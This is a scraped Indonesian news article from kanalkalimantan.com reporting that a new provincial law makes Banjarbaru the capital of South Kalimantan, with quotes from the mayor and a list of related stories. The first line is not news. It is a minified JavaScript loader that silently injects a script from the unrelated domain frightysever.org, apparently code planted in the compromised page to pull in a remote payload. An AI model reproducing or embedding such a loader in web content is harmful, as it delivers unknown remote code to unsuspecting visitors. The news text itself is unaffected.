(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Era kepemimpinan Wali Kota Banjarbaru Aditya Mufti Ariffin dan Wakil Wali Kota Wartono sejak dilantik pada 26 Feburari 2021 silam, telah melahirkan berbagai program dan inovasi. Bahkan di usia yang hampir genap setahun itu keduanya mendapat sebuah kado indah berupa kabar kepastian pemindahan ibu kota Kalimantan Selatan ke Banjarbaru.
Disahkannya RUU tentang Provinsi Kalimantan Selatan menjadi Undang-Undang oleh DPR RI telah mengantarkan kedudukan Ibu Kota Kalimantan Selatan yang sebelumnya di Banjarmasin, kini beralih ke Banjarbaru. Kebijakan itu tertuang dalam salah satu pasal yang tercantum di isi RUU.
Pembentukan RUU tentang Provinsi Kalimantan Selatan ini merupakan usul inisiatif dari para legislatif di Komisi II DPR RI. Penyusunan dan kajian dasar-dasar hukum dalam isi RUU Provinsi juga turut melibatkan Kementrian Dalam Negeri, Kementrian Keuangan, Kementrian Perencanaan Pembangunan Nasional dan Kementerian Hukum dan HAM.
Wali Kota Banjarbaru, Aditya Mufti Ariffin, meyakini pemindahan ibu kota Kalimantan Selatan ke Banjarbaru akan memberikan dampak besar bagi kemajuan daerahnya. Di tambah lagi secara otomatis Banjarbaru menjadi daerah penyanggah utama mewakili Provinsi Kalimantan Selatan apabila Ibu Kota Negara (IKN) sudah dipindahkan ke Kalimantan Timur.
“Pemindahan ibu kota Kalsel ke Banjarbaru menjadi sebuah kado terindah bagi saya dan bapak Wartono menjelang usia satu tahun menjabat. Memang tidak mudah menjadi sebuah ibu kota. Pengembangan infrastruktur dan peningkatan layanan masyarakat harus dilakukan. Tapi saya yakin ini menjadi bagian transformasi dari kemajuan kota kita tercinta Banjarbaru,” katanya, Sabtu (19/2/2022).
Tak hanya itu, Wali Kota juga menyampaikan rasa terima kasih kepada para anggota DPR RI yang telah menunjuk kota Banjarbaru sebagai jantung provinsi Kalimantan Selatan. Menurutnya, keputusan memindahan ibu kota Kalsel telah melalui pertimbangan yang sangat matang.
“Bagi saya ini bentuk kepercayaan dari DPR dan pemerintah pusat melalui kementriannya. Saya sekali lagi meminta dan memohon dukungan seluruh elemen masyarakat, baik tokoh agama, tokoh masyakrakat, organisasi, dan lain-lain, untuk membawa Banjarbaru semakin juara,” lugas Aditya yang merupakan anggota DPR periode 2014-2019. (kanalkalimantan.com/al)
KANALKALIMANTAN.COM, BANJARBARU - Wakil Bupati Banjar Habib Idrus Al Habsyi saat membuka Sosialisasi Core Values… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar melakukan Peluncuran Calendar of Event 2025 yang mencakup berbagai… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Tim Banjarbaru Haram Manyarah (Hanyar) yang mengawal hasil Pemilihan Wali Kota dan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru mengaku siap menghadapi proses gugatan yang… Read More
KANALKALIMANTAN.COM - Pinjaman online (pinjol) kini semakin populer karena menawarkan kemudahan akses dana bagi siapa… Read More
KANALKALIMANTAN.COM, KOTABARU - Komisi II DPRD Kabupaten Kotabaru bersama Dinas Komunikasi dan Informatika (Diskominfo) Kotabaru… Read More
This website uses cookies.